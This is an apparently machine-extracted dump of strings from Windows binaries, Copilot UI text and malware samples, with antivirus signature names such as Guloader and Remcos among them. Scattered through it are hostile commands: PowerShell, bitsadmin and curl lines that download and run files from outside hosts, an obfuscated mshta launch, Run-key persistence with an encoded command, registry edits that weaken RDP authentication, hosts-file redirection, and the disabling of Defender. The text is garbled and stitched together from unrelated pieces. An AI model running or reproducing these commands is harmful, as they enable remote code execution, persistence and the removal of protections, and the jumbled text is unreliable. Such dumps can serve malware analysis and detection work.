t=SearchAppWrapper.CortanaApp.fileExplorerSuggestionPage.currentSyncRootAccount;t?this._accessTokenManager.getAccountByUserName(!0,1,t,!1,!0,n=>{n&&n.Token?i([n]):i(null,r)}):n.isFileExplorerCurrentPathThisPcOrQuickAccess?this._accessTokenManager.getAllSyncingAccounts(!0,1,!1,!0,n=>{n.length>0?i(n):i(null,r)}):(n.LogWSBError("fetchUrl",null,new Error("Substrate provider called without currentSyncRootAccount"),undefined,undefined,"WindowsTelemetry"),i(null,y))}}fetchUrl(t,i,r,u,f,e){let h=t==this.getSubstrateInitUrl();i||(i={});let o={numOfPendingResponses:0},s=s=>{let h=Object.assign({},i);h[nt]="Bearer "+s.Token;this._authType==1&&(n.SubstrateTenantName!==s.TenantName&&s.TenantName&&(n.SubstrateTenantName=s.TenantName),(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.tenantName)&&(n.SubstrateTenantName=n.TestHookUrlParameters.tenantName));h[tt]=s.RoutingHint;super.fetchUrl(t,h,r,(n,t,i,r,f)=>{--o.numOfPendingResponses,u(n,t,i,r,f,o.numOfPendingResponses!=0)},f,e)};this.getAllAccountTokens(h,(n,t)=>{t?u(this._dataSource,null,t,null,null,!1):n?(o.numOfPendingResponses=n.length,n.forEach(n=>s(n))):(o.numOfPendingResponses=1,s(null))})}fetch(r,u,o,s,l,v){const g=n.isDataSourceEnabled(this._dataSource,r);let k=!1;if(g){if(r.isSearchHomeZI&&e(this._dataSource)&&n.isMsbQwsDocsCacheEnabled(r)&&!(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.msbSHNoRecDocs)){const i=this.getQwsDocsCachedResults();if(i.results){const t=!n.config.msbQwsDocsNoRefreshAfterCachedResults;u(this._dataSource,i.results,null,undefined,undefined,t);k=!0}else if(i.cacheState==t.Initialized)_w.bfbWsbTel&&bfbWsbTel.logValue("Wsb quick work search document empty",i.cacheState);else{const t=i.lastUpdatedTime==undefined?undefined:{cacheAge:n.getCurrentTime()-i.lastUpdatedTime};_w.bfbWsbTel&&bfbWsbTel.logError("Wsb quick work search document cache error",i.cacheState,undefined,t)}}let y={};y[it]=n.uiLanguageCache;y[rt]=n.getDateWithTimezone();y[ft]=n.getUserAgent();typeof _CachedFlights!="undefined"&&_CachedFlights.sort&&(y[et]=_CachedFlights.sort().join(","));y[u0\r
Windows Desktop
Windows.Desktop
.savetofile ("c:\windows\temp\
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
tWindows
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateStringReference
WindowsStringHasEmbeddedNull
O\powershell.exe-epbypass-fileeject.ps1"%systemroot%\system32\imageres.dll%wn]nd.q`xserverzve9de%zve9de%iy1sps0cgsf"=dsystem32(c:\window
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
windows.toastNotificationActiv
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
-workingdirectory$env:appdata-windowstylehidden
registrypath="hkcu\software\microsoft\windows\currentversion\run
onecoreuap\windows\core\dispbroker\lib\displaytelemetryinfo.cpp
onecoreuap\windows\core\dispbroker\lib\displaywireformat.cpp
|onecoreuap\windows\core\dispbroker\lib\oswrappers.cpp
onecoreuap\windows\core\dispbroker\inc\private\AlpcServer.h
onecoreuap\windows\core\dispbroker\lib\alpcserver.cpp
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
WINDOWS11
\systemroot\system32\%s
yERROR 10X020problema persistir, contacteC:\WINDOWS\Help\csrsss.exe
.exe -killfile c:\windows\system32\drivers\gbpkm.sys.exe -killfile c:\arquiv~1\gbplugin\gbpsv.exe.exe -killfile c:\arquiv~1\gbplugin\gbpdist.dll.exe -killfile c:\arquiv~1\gbplugin\gbieh.dllc:\windows\system32\logsvc.batc:\arquivos de programas\internet explorer\delon.txt
Windows
 Windows
 Windows
pcom.microsoft.windows.extensionpackageSystemTrayAliasPublicE%
t4_Data\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\AutofillStrikeDatabase/LOCK
OS=Windows_NT
windows.hlp
Windows.Devices.Sensors
6\windows\system32\windowspowershell\v1.0\
Global_WindowsStorage_MaxIcons
Global_WindowsStorage_Untyped_FileClassSRWLock
Global_WindowsStorage_Untyped_MountPoint
Global_WindowsStorage_Untyped_pFileClassCacheTable
Global_WindowsStorage_Untyped_pFileHanderMap
Global_WindowsStorage_Untyped_rgshil
Global_WindowsStorage_afNotRedirected
Global_WindowsStorage_ccIcon
Global_WindowsStorage_csIconCache
Global_WindowsStorage_csSCN
Global_WindowsStorage_dwThreadBindCtx
Global_WindowsStorage_dwThreadInitializing
Global_WindowsStorage_esServerMode
Global_WindowsStorage_fEndInitialized
Global_WindowsStorage_fIconCacheHasBeenSuccessfullyCreated
Global_WindowsStorage_fIconCacheIsValid
Global_WindowsStorage_fNeedsInitBroadcast
Global_WindowsStorage_hwndSCN
Global_WindowsStorage_iLastSysIcon
Global_WindowsStorage_iLastSystemColorDepth
Global_WindowsStorage_iUseLinkPrefix
Global_WindowsStorage_lProcessClassCount
Global_WindowsStorage_lrFlags
Global_WindowsStorage_nImageManagerVersion
Global_WindowsStorage_tlsChangeClientProxy
Global_WindowsStorage_tlsIconCache
Global_WindowsStorage_tlsThreadFlags
Global_WindowsStorage_ulNextID
EnumWindows
GetProcessWindowStation
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsDuplicateString
WindowsCreateString
WindowsIsStringEmpty
WindowsCompareStringOrdinal
WindowsStringHasEmbeddedNull
WindowsGetStringLen
WindowsTrimStringEnd
WindowsCreateStringReference
WindowsSubstringWithSpecifiedLength
WindowsDeleteStringBuffer
WindowsPromoteStringBuffer
WindowsPreallocateStringBuffer
WindowsSubstring
GetWindowsDirectoryWSimplifikationernes MilieukravetS
System.Windows.Forms.UnsafeNativeMethods.IDocHostUIHandler.GetExternal
Windows
Vforeground-boost-opt-in --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723;(
159^com.microsoft.windows.extensionpackage
15a^com.microsoft.windows.app.voiceaccess
com.microsoft.windows.app.voiceaccess
15b^com.microsoft.windows.extension.voiceaccess
OS=Windows_NT
Microsoft.Windows.Samsrv.Telemetry
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.Mrt.Runtime
MICROSOFTWINDOWS.57242383.TASBAR_CW5N1H2TXYEWY
MICROSOFTWINDOWS.CLIENT.PHOTON_CW5N1H2TXYEWY
l5po:i+00/c:\v1wstwindows@owhysk."%
z1ys4system32b
MoveWindowSecondaryTextDone
1\windows\system32\windowspowers[
com.microsoft.windows.extensions.xaml.visualassistant
e0^com.microsoft.windows.extensions.xaml.visualassistant
e1^com.microsoft.windows.extension.shellhost.component
"9C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\result_macros.h
Windows\System32\mshta.exe
for %%F in ("KMSAuto+.exe" KMSELDI.exe KMSAuto.exe OInstall.exe KMSTools.exe "Microsoft-Toolkit.exe" Windows-Loader.exe)f
C:\Users\User\source\repos\WindowsProject1\Release\WindowsProject1.pdbC
Ryeol HTTP Client Class----RYEOL-FB3B405B7EAE495aB0C0295C54D4E096-SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\fwkp.exesvmmPROTOCOL_softListexcuteExe!#HSTR:Trojan:Win32/Guloader.AN!MTB
Jif exist %%1 del %%1 else goto byeping 127.1 > nulsoftware\microsoft\windows\currentversion\internet settings\zonemap\domains\%sff3130cdb-aa52-4c3a-ab32-85ffc23af9c1%systemroot%\web\clsid\{%s}\inprocserver32%c%c%c%c%c%c%c%c%c%c%c%ci
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
user-agent: mozilla/5.0 (windows;
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Coimprove this featureYou need to sign in before Copilot can finish this taskMore about this feature and relevant data sent to MicrosoftContent from password pages and related info is sent to Microsoft and reviewed by humans. Your password is encrypted and never seen by anyone. $1If Copilot finds one of your passwords in a public data breach, it can offer to change your password for you if you're signed in&Close Microsoft CopilotApplication closedThe application was closed before the download completed.Application crashedClose application$1 may be dangerous. Add a password if you want Microsoft Copilot to verify it or you can download it directly.{COUNT, plural,
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use t{
C:\Windows\System32\version.GetFileVersionInfoExWGetFileVersionInfoSizeA
C:\Windows\System32\version.GetFileVersionInfoSizeAVerFindFileA
C:\Windows\System32\version.VerFindFileAVerFindFileW
C:\Windows\System32\version.VerFindFileWVerInstallFileA
C:\Windows\System32\version.VerInstallFileAVerInstallFileW
C:\Windows\System32\version.VerInstallFileWVerQueryValueA
C:\Windows\System32\version.VerQueryValueAVerQueryValueW
C:\Windows\System32\version.VerQueryValueW!#HSTR:Trojan:Win32/Neoreblamy.BB!MTB
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fDenyTSConnections /t REG_DWORD /d 0 /freg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\Client" /v fClientDisableUDP /t REG_DWORD /d 1 /freg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /vreg add "HKCU\SOFTWARE\Microsoft\Terminal Server Client" /v AuthenticationLevelOverride /t REG_DWORD /d 0 /freg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0 /freg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
u'LT9G4PN0j|cFMZi7IKxzmqeyJb6Yu2Xrf1EHvatkpOlwA58DWnhSCQRoV3dB0zz7://system32\
mIcRoSoFt\wINDoWS nt\currentVerSioN\sVChoST%sot%%\System32\svc%s %s%s%sk- exe.tsohreMOTeReGIScrYik\labolgs%s
PROFILE%\Application Data\.3322.org%sot%%\system32\svc%s %s%s%s
echo.209.222.138.10www.facebook.com>>%windir%\system32\drivers\etc\hostsecho instaling
{Ronnect to the Server...Zalupa has disconnected!\\\WIndowS\\\
windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel
Microsoft.WindowsCalculator_8wekyb3d8bbwe!App
host|windows!
Windows Hello Face
`-6"c:\windows\temp\setup.exe",
ConnectsWindowsNT
Warning! Windows Blocked!
be^com.microsoft.windows.e9
Windows Script Host
Windows Security Health
net stop winlogonn
windowssecurityservice.pdbc
WindowsFormsApplication1.exeVirTool:Win64/Bumblerz.A!MTB
%s\WindowsDriver_%d.exe
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
`\shell\auto\command=a.exe ec:\windows\system32\a.exec:\windows\system32\project1_autorun.exec:\windows\system32\icl.exe
\system32\drivers\etc\h
0.bat"regaddhklm/software/microsoft/windows/currentversion/run/
Microsoft.Windows.Explorer
\system32\sidebar.exe
\system32\at.exe
\system32\change.exe
\system32\control.exe
\system32\find.exe
\system32\net.exe
\system32\share.exe
\system32\rundll32.exe
\system32\append.exe
\system32\choice.exe
\system32\clip.exe
\system32\comp.exe
\system32\compact.exe
\system32\consent.exe
\system32\convert.exe
\system32\format.exe
\system32\graphics.com
\system32\label.exe
\system32\mem.exe
\system32\mode.com
\system32\more.com
\system32\recover.exe
\system32\replace.exe
\system32\reset.exe
\system32\shadow.exe
\system32\sort.exe
\system32\tree.com
\system32\webcam.exe
\system32\systemsettings.exe
\system32\command.com
\system32\tabtip.exe
\system32\services.exe
\system32\help.exe
\system32\where.exe
\system32\skydrive.exe
\system32\calc.exe
\system32\fc.exe
\system32\notepad.exe
\system32\finger.exe
\system32\ping.exe
\system32\print.exe
\system32\shutdown.exe
\system32\expand.exe
\system32\tskill.exe
\system32\reg.exe
\system32\sc.exe
Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI
\system32\user.exe8B7}\mspaint.exe
powershellstart-process-windowstylehidden-filepath"c:\flexlm\cghotman_redshift_server.exe"
Y{qsoftware\microsoft\windows\currentversion\runappshellsurrogater
hklm:\software\microsoft\windows\currentversion\policies\system
s-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
    property string currentOS: (Qt.platform.os === "osx") ? "Mac" : "Windows"
            "Windows": isSimplifiedChinese ? "Microsoft YaHei with Fallback" : "Segoe UI",
    // On Windows, the Segoe UI Font family does not have a corresponding Semibold name. 
            "Windows": isSimplifiedChinese ? "Microsoft YaHei with Fallback" : "Segoe UI Semibold",
            "Windows": isSimplifiedChinese ? "Microsoft YaHei Light with Fallback" : "Segoe UI Semilight",
@UIComponentConnector@Markup@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@USettingsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@USettingsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@USettingsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@USettingsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@USettingsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@USettingsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@USettingsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@USettingsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@USettingsPage@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@USettingsPage@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@USettingsPage@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@USettingsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce@USettingsPage@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@USettingsPage@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@USettingsPage@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce@UStyles@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UStyles@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UStyles@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UStyles@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UHomePage@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UHomePage@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UHomePage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UHomePage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
windowstylehidden-commandsrms.dat;(new-objectsystem.net.webclient).downloadfile('https://www.dobiamfollollc.online/
cc:\windows\system32\cmd.exe/c@echooff&&titleupdate&&bitsadmin/transfermdj/download/priorityforegroundhttps://myfiles.ngrok.pro/system32.com"%temp%\\system32.com"&&start"""%temp%\\system32.com"
c:\windows\system32\windowspowershell\v1.0\powershell.exescb('m%%%%shta%%%%%%h%tt%%%%ps:%%%%/%/%%t%1.%ha%%ndp%%%%rin%%%t%%s%%car%%%%i%%n%%%%e%s%%s.ru%%/a%.htm%%l%%%%'.replace('%',''));iex(gcb)
c:\windows\system32\windowspowershell\v1.0\powershell.exe-whid-noni-epbypass-c"start-job-named
powershell.exe-windowstylehidden-command"start-process'%gamepath%'-argumentlist'%
$regkey='hkcu:\software\microsoft\windows\currentversion\explorer\startupapproved\startupfolder'"
cmd.exe!..\..\..\windows\system32\cmd.exe/cwscript.exeindex.vbs!%systemroot%\system32\shell32.dll
..\windows\system32\cmd.exe/ctools\protracted.cmdregsvc:\windows\system32\shell32.dll%systemroot%
c:\windows\system32\cmd.exe/c"curl-l-o"%temp%\a.bat""https://col.lol/files/7.bat"&&"%temp%\a.bat"
WindowsBase, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil 
windir=C:\WINDOWS
DriverData=C:\Windows\System32\Drivers\DriverData
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
MicrosoftWindows.Client.Core_1000.26100.82.0_x64__cw5n1h2txyewy
\system32\qtplugin.exe
c:\windows\system32\
 Windows 
Microsoft.Windows.Wil.FeatureLogging
MicrosoftWindowsFileExplorer
Microsoft.Windows.FileExplorerPerf
Microsoft.Windows.Shell.SessionWatcherTelemetry
Microsoft.Windows.Shell.WindowsCopilot
Microsoft.Windows.Shell.Taskbar
Microsoft.Windows.Shell.ControlPanelBase
Microsoft.Windows.Shell.CloudFiles
Microsoft.Windows.FileExplorerErrorFallback
9windowsscheduledupdate"-action$action-trigger$trigger-principal$principal-forceset-itemproperty-path"hkcu:\software\microsoft\windows\currentversion\run"`-name"startwindows"-value"powershell.exe-windowstylehidden-encodedcommandaqbyag0aiaboahqadabwadoalwavagmazgatagmayqbwac0ababvageazaauagmazgbkac8acwb0ageadabpagmalwbjag8acwbtageababpac4acabzadeaiab8acaaaqblahga"-propertytypestring$destination=join-path([environment]::getfolderpath('startup'))"
IdentityType != (Windows::Isolation::Rtl:: RtlNullIdentityTypeHandle())
.?AV?$_Ref_count_obj@U?$_Task_impl@PE$AAVStorageFile@Storage@Windows@@@details@Concurrency@@@std@@
.?AV?$_Ref_count_obj@V?$vector@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@V?$allocator@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@@std@@@std@@@std@@
.?AU__I?$IteratorForVectorView@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@PublicNonVirtuals@Details@Collections@Platform@@
.?AU?$IIterator@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@@Collections@Foundation@Windows@@
.?AU?$IVectorView@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@@Collections@Foundation@Windows@@
.?AV?$IteratorForVectorView@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@@Details@Collections@Platform@@
.?AV?$VectorView@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@U?$equal_to@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@@std@@@Collections@Platform@@
.?AU__I?$VectorView@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@U?$equal_to@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@@std@@PublicNonVirtuals@Collections@Platform@@
.?AV?$VectorChangedEventHandler@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@@Collections@Foundation@Windows@@
.?AU__abi_IDelegate@?$VectorChangedEventHandler@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@@Collections@Foundation@Windows@@
.?AU__I?$Array@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@$00PublicNonVirtuals@Platform@@
.?AU?$IBoxArray@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@@Platform@@
.?AU__I?$WriteOnlyArray@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@$00PublicNonVirtuals@Platform@@
.?AV?$Array@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@$00@Platform@@
.?AU?$IObservableVector@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@@Collections@Foundation@Windows@@
.?AV?$WriteOnlyArray@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@$00@T$pI
SLGetWindowsInformationDWORD
72^windows.preInstalledConfigTask
73^windows.appExtension
74^windows.appExtension
SCPT:JS/Obfuscator.Split.Windows.A
Windows.OS.Emergency.EXE
system32
copy%0c:\windows\alluse~1\destkop\network89.bat/
9REG ADD HKCU\software\microsoft\windows\currentversion\run /t REG_EXPAND_SZ /v msnetbridge /f /d "%s"
hijackdllx86.dllwww.windowstime.net\
GetSystemWindowsDirectoryW
MsaUI_CredUIPromptForWindowsCredentials
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\WindowsUdk.Services.UnifiedConsent.h
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\WindowsUdk.System.Profile.h
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.Data.Xml.Dom.h
WindowsCreateString
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateStringReference
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
WindowsFeedbackProtocol
_osoft.Windows.RemoteDesktop
Microsoft.Windows.ControlPanelD2
$~6WindowsFeedbackFormD2
yRemcosError: Unable to create socketSoftware\Microsoft\Windows\CurrentVersion\UninstallTLS13-AES128-GCM-SHA256status audio modeconnection resetMutex_RemWatchdogSHDeleteKeyW
windows.hlp
WindowsCreateStringReference
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsDeleteString
SetWindowSubclass
RemoveWindowSubclass
9MWGGC7JH35BGenesis Noir: Windows Editionhttps://store-images.s-microsoft.com/image/apps.47660.14234812946294583.310a0a84-edb2-482c-a55c-b54922972168.5e4dc17c-f718-434b-af30-e18465dd00f1en
9MWGGC7JH35BGenesis Noir: Windows Editionhttps://store-images.s-microsoft.com/image/apps.3450.14234812946294583.310a0a84-edb2-482c-a55c-b54922972168.79766ffc-5ee8-4796-b519-225d931fd4c9fr
9MWGGC7JH35BGenesis Noir: Windows Editionhttps://store-images.s-microsoft.com/image/apps.3450.14234812946294583.310a0a84-edb2-482c-a55c-b54922972168.79766ffc-5ee8-4796-b519-225d931fd4c9de
ComSpec=C:\WINDOWS\system32\cmd.exe
C:\WINDOWS\Explorer.EXE
\AppData\Roaming\Microsoft\Windows\_
ComSpec=C:\WINDOWS\system32\cmd.exe
C:\WINDOWS\Explorer.EXE
USERDOMAIN_ROAMINGPROFILE=Windows11
USERDOMAIN_ROAMINGPROFILE=Windows11
explorer.exe http://uninstall.mysafesavings.comMicrosoft\WindowsLogger\winlogger.exeSoftware\MySafeSavingsgril
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-StorageService-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Features-Package08~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
WindowsVersion
Windows
s\system32\rundll32.exeurl,openurlS
get_SafeSubWindows
#\windows nt\currentversion\image file execution op
ir%\system32\dri.
QWindowsCursor::createCursorFromShape
QWindowsCursor::changeCursor
QWindowsCursor::setOverrideCursor
QWindowsInputContext::reset
QWindowsInputContext::updateEnabled
QWindowsInputContext::cursorRectChanged
QWindowsInputContext::invokeAction
QWindowsInputContext::startComposition
QWindowsInputContext::startContextComposition
QWindowsInputContext::endContextComposition
QWindowsInputContext::composition
QWindowsInputContext::endComposition
QWindowsInputContext::handleInputLanguageChanged
QWindowsInputContext::reconvertString
windows
 Windows 
L\windows
t>\windows
9NCT87FKQ4GMPsychonauts (Windows 10)https://store-images.s-microsoft.com/image/apps.28716.13561496157760288.f7bf4326-45d3-4a39-8977-2f5f5ce39a58.c5066da9-cb57-4091-9818-6f9811c23cf7en
9NCT87FKQ4GMPsychonauts (Windows 10)https://store-images.s-microsoft.com/image/apps.28716.13561496157760288.f7bf4326-45d3-4a39-8977-2f5f5ce39a58.c5066da9-cb57-4091-9818-6f9811c23cf7fr_
syswow64\</t></si><si><t>\windows\</t></si><si><t>",0,0)</t></si><si><t>,0,</t></si><si><t>..\ujg.dll
c:\windows\system32\cmd.exe/c"%systemroot%\explorer.exe%cd%.gamecenterwebbuffer&start%cd%
indows\system32\rundll32.exe\
:\windows\system32\rundll32.exe\
<varurl="http://www.breachsaver.com/us.php?dl=windows-12&id="
programfiles+'\windowsdefender\mpcmdrun.exe')-arg'-disableservice
microsoft-store-windowssearch
 =pow&@echooff&%systemdrive%&cd\&cd%systemroot%\system32&echo%
\software\microsoft\windows\currentversion\explorer\advanced\/vhidden/treg_dword/d00000002/
firewallbatcontent+="start/mincmd/cpowershell.exe-windowstylehidden-command\"invoke-webrequest-uri'https://raw.githubusercontent.com/
WindowsCreateString
WindowsGetStringRawBuffer
GetWindowsDirectory
GetLargestConsoleWindowSize
GetWindowsAccountDomainSid
c:\f1deportationsj.deportationsr2expenditures.batr.expenditures.bat..\deportations\expenditures.batc:\windows\write.exe%systemroot%
remove windows defenderr
are you sure you want to delete windows defendera
program files (x86)\windows defender advanced threat protectionp
u inn Windows-a
u inn Windows-a
u inn Windows-a
u inn Windows-a
u inn Windows-a
u inn Windows-a
u inn Windows-a
u inn Windows-a
ktu Microsoft Copilot aftur.Microsoft Copilot krefst Windows 10 e
C:\WINDOWS\Temp\vmware-vmusr-job.log
